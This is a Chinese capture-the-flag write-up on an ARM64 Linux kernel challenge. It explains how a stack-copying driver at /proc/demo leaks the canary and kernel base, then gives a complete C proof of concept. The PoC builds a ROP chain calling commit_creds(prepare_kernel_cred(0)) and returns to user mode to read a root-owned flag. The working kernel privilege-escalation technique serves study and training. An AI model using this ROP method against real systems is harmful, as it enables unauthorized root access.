*CTF babyarm内核题目分析
本文从漏洞分析、ARM64架构漏洞利用方式来讨论如何构造提权PoC达到读取root权限的文件。此题是一个ARM64架构的Linux 5.17.2 版本内核提权题目,目的是读取root用户的flag文件。
概况
题目默认开启了KASLR地址随机化和PXN防护,指定CPU核心数量为一,线程为一。
使用cpio
命令分离出驱动模块后放到IDA查看,只实现了read
和write
函数的功能,功能相当简单。read
函数把内核栈内容拷贝到全局变量demo_buf
,然后再把demo_buf
的内容拷贝到用户态缓冲区,长度不超过0x1000。其他不重要的信息可以不用看:
write
函数把用户态缓冲区内容拷贝到demo_buf
,然后将demo_buf
内容拷贝到内核栈中,同样长度不超过0x1000:
利用思路
知道模块的基本功能之后,现在来考虑利用方式。
- 首先,题目启动脚本中没有给定
nokaslr
,默认开启地址随机化,需要泄露内核地址,当然还有canary。并且ARM架构下默认开启了PXN,内核无法直接执行用户态代码,需要使用ROP技术。 - 上一步泄露完成之后,可以获得kernel中的gadget地址,以此来构造ROP,执行
commit_creds(prepare_kernel_cred(0))
提升进程权限,返回用户态,并fork
一个新的shell,就可以继承父进程的权限完成提权
编写PoC
第一步的泄露很简单,直接使用read
函数功能就可以达到目的,代码如下:
int fd = open("/proc/demo",2);
size_t leak[0x200] = {0};
read(fd, leak, 0x1f8);
for (int i = 0; i < 100; i++)
{
printf("id %d : 0x%llx\n",i,leak[i]);
}
这里编译的时候需要使用交叉编译为ARM64的程序。交叉编译环境的安装方式很简单:
sudo apt-get install emdebian-archive-keyring
sudo apt-get install linux-libc-dev-arm64-cross libc6-arm64-cross
sudo apt-get install binutils-aarch64-linux-gnu gcc-8-aarch64-linux-gnu
sudo apt-get install g++-8-aarch64-linux-gnu
编译exp:
aarch64-linux-gnu-gcc-8 -static exp.c -o exp
重新打包后运行exp,根据泄露的结果得知第3个值是内核代码地址,第13个值是canary
用ARM64的基础加载地址 0xffff800008000000 算出内核基址、commit_creds
和prepare_kernel_cred
的地址:
size_t commit_creds, prepare_kernel_cred = 0;
size_t kernel_base,offset = 0;
size_t kernel_addr = leak[2];
size_t canary = leak[12];
offset = kernel_addr - 0xffff8000082376f8;
kernel_base = 0xffff800008000000 + offset;
commit_creds = kernel_base + 0xa2258;
prepare_kernel_cred = kernel_base + 0xa24f8;
接下来要考虑如何构造ROP链,如何返回用户态。
这里先了解一下ARM64汇编指令和x86_64指令的区别:
- x86_64指令六个参数为RDI、RSI、RDX、RCX、R8、R9,函数结束时使用
LEAVE
和RET
平衡栈,返回值放在RAX寄存器中,RET
指令会使RSP+8 - ARM64有X0~X30这些寄存器,参数一为X0寄存器,返回值同样使用X0寄存器,栈指针为SP寄存器,PC寄存器存储当前指令,使用
LDP X29, X30, [SP]
这种方式给X29和X30寄存器赋值,当RET
指令时将X30寄存器值给PC寄存器,但RET
指令不会使SP+8,也就是说ARM64不会像X86那样频繁移动栈顶
根据以上结论,我们需要控制ARM64的执行流,就需要控制X30寄存器,并给参数寄存器X0赋值。而现在内核栈是我们可控的,那么理论上就可以控制PC指针。
首先调用prepare_kernel_cred(0)
,参数为0,需要将X0赋值为0,ROPgadget工具不是很好用,直接手动找,在内核文件中找到如下gadget:
这一部分控制了很多寄存器,可以极大的方便我们后续操作。通过调试偏移写出payload如下:
size_t gadget2 = kernel_base + 0x16950;
leak[13] = 0x4141414141414141;
leak[14] = 0x4141414141414141;
leak[16] = canary;
leak[18] = gadget2;
leak[21] = 0x8888888888888888;
leak[22] = prepare_kernel_cred;
调试的时候发现一个问题,因为ARM64的RET
指令并不会使用栈中的数据作为返回地址,而是使用X30寄存器的值,在prepare_kernel_cred
函数结束后,由于X30寄存器还是之前的值,又再次执行了prepare_kernel_cred
,这显然不是想要的结果。这里先看看ARM程序是怎么开辟栈帧的:
这是在内核中随便找的函数,不用考虑这个函数做了什么,重点关注第一条指令和最后两条指令,第一条指令将X29和X30寄存器放入到栈中,最后两条指令平衡栈。如果去掉第一条指令,那么在平衡栈的时候就会将我们构造的内容给X29和X30。这里也看到ARM不像x86那样可以通过加减地址来获得不同的指令,ARM指令必须以四字节对齐为一个指令。所以在执行prepare_kernel_cred
时应该地址加上四字节,执行commit_creds
函数也是同理。调试修改上面的payload为如下:
leak[13] = 0x4141414141414141;
leak[14] = 0x4141414141414141;
leak[16] = canary;
leak[18] = gadget2;
leak[19] = 0;
leak[20] = 0;
leak[21] = 0x8888888888888888;
leak[22] = prepare_kernel_cred + 4;
leak[32] = commit_creds + 4;
leak[36] = gadget2;
leak[37] = 0x7777777777777777;
leak[38] = canary;
leak[39] = 0x2222222222222222;
leak[40] = 0x3333333333333333;
执行完commit_creds(prepare_kernel_cred(0))
后,当前exp进程的cred
结构体已经是root,但内核栈已经被我们破坏掉了,继续执行会导致内核崩溃重启,此时需要手动返回用户态起shell。
需要知道的是ARM64使用SVC
指令进入内核态,使用ERET
指令返回用户态,同x86一样,ARM在进入内核态之前会保存用户态所有寄存器状态,在返回时恢复。其中比较重要的寄存器有SP_EL0、ELR_EL1、SPSR_EL1,它们保存内容分别如下:
- SP_EL0保存用户态的栈指针
- ELR_EL1保存要返回的用户态PC指针
- SPSR_EL1保存一个值,暂不知道是何用处,但他的值是固定的0x80001000
我们手动恢复这几个寄存器,然后在调用ERET时就可以返回用户态执行函数了。而要找到恢复这些寄存器的gadget可以直接在调试器中单步跟随,找到内核何时返回用户态,然后直接使用这些gadget就行。内容如下:
0xffff800008011fe4: msr sp_el0, x23
0xffff800008011fe8: tst x22, #0x10
0xffff800008011fec: b.eq 0xffff800008011ff4 // b.none
0xffff800008011ff0: nop
0xffff800008011ff4: ldr x0, [x28, #3432]
0xffff800008011ff8: b 0xffff800008012024
0xffff800008012024: msr elr_el1, x21
0xffff800008012028: msr spsr_el1, x22
0xffff80000801202c: ldp x0, x1, [sp]
0xffff800008012030: ldp x2, x3, [sp, #16]
0xffff800008012034: ldp x4, x5, [sp, #32]
0xffff800008012038: ldp x6, x7, [sp, #48]
0xffff80000801203c: ldp x8, x9, [sp, #64]
0xffff800008012040: ldp x10, x11, [sp, #80]
0xffff800008012044: ldp x12, x13, [sp, #96]
0xffff800008012048: ldp x14, x15, [sp, #112]
0xffff80000801204c: ldp x16, x17, [sp, #128]
0xffff800008012050: ldp x18, x19, [sp, #144]
0xffff800008012054: ldp x20, x21, [sp, #160]
0xffff800008012058: ldp x22, x23, [sp, #176]
0xffff80000801205c: ldp x24, x25, [sp, #192]
0xffff800008012060: ldp x26, x27, [sp, #208]
0xffff800008012064: ldp x28, x29, [sp, #224]
0xffff800008012068: nop
0xffff80000801206c: nop
0xffff800008012070: nop
观察这两段gadget,这些寄存器我们都可以控制,这就比较简单了,直接拿过来用就可以了,并且在执行完这段gadget后,会自动执行ERET
指令,其实这段函数就是内核返回用户态的代码。指定上面三个关键寄存器的值,用户态栈地址可以随意指定一个,内核只做地址校验,并不会触发panic,ELR_EL1构造为用户态代码地址,最后修改payload如下:
leak[13] = 0x4141414141414141;
leak[14] = 0x4141414141414141;
leak[16] = canary;
leak[18] = gadget2;
leak[19] = 0;
leak[20] = 0;
leak[21] = 0x8888888888888888;
leak[22] = prepare_kernel_cred + 4;
leak[32] = commit_creds + 4;
leak[33] = 0x1111111111111111;
leak[36] = gadget2;
leak[37] = 0x7777777777777777;
leak[38] = canary;
leak[39] = 0x2222222222222222;
leak[40] = 0x3333333333333333;
leak[41] = (size_t)leak; // x29 far_el1=0x00ffffc150b790
leak[42] = kernel_base + 0x11fe4; // x30
leak[43] = 0x6666666666666666; // x19
leak[44] = 0x7777777777777777; // x20
leak[45] = (size_t)shell; // x21 elr_el1=0x41f518
leak[46] = 0x80001000; // x22 spsr_el1=0x80001000
leak[47] = (size_t)leak; // x23 sp_el0=0x00ffffc150b790
leak[48] = 0x2222222222222222; // x24
leak[49] = 0x3333333333333333; // x25
leak[51] = 0x4444444444444444;
完整PoC如下,最后执行system("/bin/sh")
时,在clone
系统调用时会失败,原因可能是因为某个ARM寄存器未还原,触发了缺页机制,会分配一个新的页,最后PC指针指向这个非法地址,无法获取shell,所以改成了ORW的方式读取flag:
#include <stdio.h>
#include <stdlib.h>
#include <linux/types.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/wait.h>
size_t commit_creds, prepare_kernel_cred = 0; // 0xffff8000080a2258 0xffff8000080a24f8
size_t kernel_base,offset = 0; // 0xffff800008000000
size_t gadget2 = 0;
void shell(void)
{
// int uid = getuid();
// printf("uid == %d\n",uid);
// system("/bin/sh");
char buf[0x40] = {0};
int fd = open("/flag",0);
read(fd, buf, 0x40);
write(1, buf, 0x40);
}
int main()
{
int fd = open("/proc/demo",2);
if (fd < 0)
{
puts("open error");
exit(-1);
}
size_t leak[0x200] = {0};
read(fd, leak, 0x1f8);
for (int i = 0; i < 36; i++)
{
printf("id %d : 0x%llx\n",i,leak[i]);
}
size_t kernel_addr = leak[2];
size_t canary = leak[12];
printf("kerenl_addr== 0x%llx , canary == 0x%llx\n",kernel_addr,canary);
offset = kernel_addr - 0xffff8000082376f8;
kernel_base = 0xffff800008000000 + offset; //ffffd587d10a2258 0xffffd587d10a2258,
commit_creds = kernel_base + 0xa2258;
prepare_kernel_cred = kernel_base + 0xa24f8;
gadget2 = kernel_base + 0x16950;
printf("kerenl_base== 0x%llx ,commit_creds == 0x%llx, prepare_kernel_cred == 0x%llx\n",kernel_base,commit_creds,prepare_kernel_cred);
printf("%p\n",leak);
leak[13] = 0x4141414141414141;
leak[14] = 0x4141414141414141;
leak[16] = canary;
leak[18] = gadget2;
leak[19] = 0;
leak[20] = 0;
leak[21] = 0x8888888888888888;
leak[22] = prepare_kernel_cred + 4;
leak[32] = commit_creds + 4;
leak[33] = 0x1111111111111111;
leak[36] = gadget2;
leak[37] = 0x7777777777777777;
leak[38] = canary;
leak[39] = 0x2222222222222222;
leak[40] = 0x3333333333333333;
leak[41] = (size_t)leak; // x29 far_el1=0x00ffffc150b790
leak[42] = kernel_base + 0x11fe4; // x30
leak[43] = 0x6666666666666666; // x19
leak[44] = 0x7777777777777777; // x20
leak[45] = (size_t)shell; // x21 elr_el1=0x41f518
leak[46] = 0x80001000; // x22 spsr_el1=0x80001000
leak[47] = (size_t)leak; // x23 sp_el0=0x00ffffc150b790
leak[48] = 0x2222222222222222; // x24
leak[49] = 0x3333333333333333; // x25
leak[51] = 0x4444444444444444;
write(fd, leak, 0x200);
close(fd);
return 0;
};
完成读取root权限的文件flag:
*CTF babyarm内核题目分析的更多相关文章
- MINIX3 内核时钟分析
MINIX3 内核时钟分析 4.1 内核时钟概要 先想想为什么 OS 需要时钟?时钟是异步的一个非常重要的标志,设想一下,如 果我们的应用程序需要在多少秒后将触发某个程序或者进程,我们该怎么做到? ...
- mkimage工具 加载地址和入口地址 内核启动分析
第三章第二节 mkimage工具制作Linux内核的压缩镜像文件,需要使用到mkimage工具.mkimage这个工具位于u-boot-2013. 04中的tools目录下,它可以用来制作不压缩或者压 ...
- 第3阶段——内核启动分析之start_kernel初始化函数(5)
内核启动分析之start_kernel初始化函数(init/main.c) stext函数启动内核后,就开始进入start_kernel初始化各个函数, 下面只是浅尝辄止的描述一下函数的功能,很多函数 ...
- 几个常用内核函数(《Windows内核情景分析》)
参考:<Windows内核情景分析> 0x01 ObReferenceObjectByHandle 这个函数从句柄得到对应的内核对象,并递增其引用计数. NTSTATUS ObRefer ...
- [1]windows 内核情景分析---说明
本文说明:这一系列文章(笔记)是在看雪里面下载word文档,现转帖出来,希望更多的人能看到并分享,感谢原作者的分享精神. 说明 本文结合<Windows内核情景分析>(毛德操著).< ...
- windows内核情景分析之—— KeRaiseIrql函数与KeLowerIrql()函数
windows内核情景分析之—— KeRaiseIrql函数与KeLowerIrql()函数 1.KeRaiseIrql函数 这个 KeRaiseIrql() 只是简单地调用 hal 模块的 KfRa ...
- Linux内核源代码分析方法
Linux内核源代码分析方法 一.内核源代码之我见 Linux内核代码的庞大令不少人"望而生畏",也正由于如此,使得人们对Linux的了解仅处于泛泛的层次.假设想透析Linux ...
- Netlink 内核实现分析(二):通信
在前一篇博文<Netlink 内核实现分析(一):创建>中已经较为具体的分析了Linux内核netlink子系统的初始化流程.内核netlink套接字的创建.应用层netlink套接字的创 ...
- 《LINUX3.0内核源代码分析》第二章:中断和异常 【转】
转自:http://blog.chinaunix.net/uid-25845340-id-2982887.html 摘要:第二章主要讲述linux如何处理ARM cortex A9多核处理器的中断.异 ...
随机推荐
- 问鼎杯预赛web writeup
1. php的一个精度问题,具体什么精度自己查. 2017.000000000001=2017 2016.999999999999=2017 直接拿谷歌浏览器访问那个链接就可以拿到flag 2. 访问 ...
- .Net Core 实现账户充值,还款,用户登录(WebApi的安全)
个人未开通网站: http://justin1107.pc.evyundata.cn/vip_justin1107.html Api using System; using System.Collec ...
- 你也可以很硬核「GitHub 热点速览 v.22.13」
本周特推介绍了一个非常易上手,操作难度(主要难度在于机件购买)极低的硬件项目,SmartKnob 让你有个可玩性极高的控制仪.本周特推另外一个项目则是一个安全项目,打破你对 URL 是可靠.安全的认知 ...
- du 和 df 的定义,以及区别?
du 显示目录或文件的大小 df 显示每个<文件>所在的文件系统的信息,默认是显示所有文件系统.(文件系统分配其中的一些磁盘块用来记录它自身的一些数据,如 i 节点,磁盘分布图,间接块,超 ...
- Java 中的final关键字有哪些用法?
(1)修饰类:表示该类不能被继承:(2)修饰方法:表示方法不能被重写:(3)修饰变量:表示变量只能一次赋值以后值不能被修改(常量).
- Constant Pool和String Constant Pool详解
Constant Pool常量池的概念: 在讲到String的一些特殊情况时,总会提到String Pool或者Constant Pool,但是我想很多人都不太明白Constant Pool到底是个怎 ...
- 学习ELK日志平台(五)
ELK Stack 通常情况下: 1,开发人员是不能登录线上服务器查看日志信息 2,各个系统的日志繁多,日志数据分散难以查找 3,日志数据量较大,查询速度慢,数据不够实时性 4,一个调用会涉及到多个系 ...
- TOP 10 开源的推荐系统简介
最 近这两年推荐系统特别火,本文搜集整理了一些比较好的开源推荐系统,即有轻量级的适用于做研究的SVDFeature.LibMF.LibFM等,也有重 量级的适用于工业系统的 Mahout.Oryx ...
- 每天坚持一个CSS——社会人
每天一个CSS-社会人 实现效果 想法 之前看到一篇博客,使用python绘制出了小猪佩奇,所以自己想试一试,采用纯html + CSS绘制出低配版的小猪佩奇. 实现思路 使用上一篇,圆与边框实现.最 ...
- 微信小程序答题,怎么设计页面渲染,答完一题,跳到下一题
想要的效果 1.第一页只显示第一道题的内容,如图红框2.答题后,点击下一题,内容显示第二道题的内容 代码 answer.wxml <!--pages/answer/answer.wxml--&g ...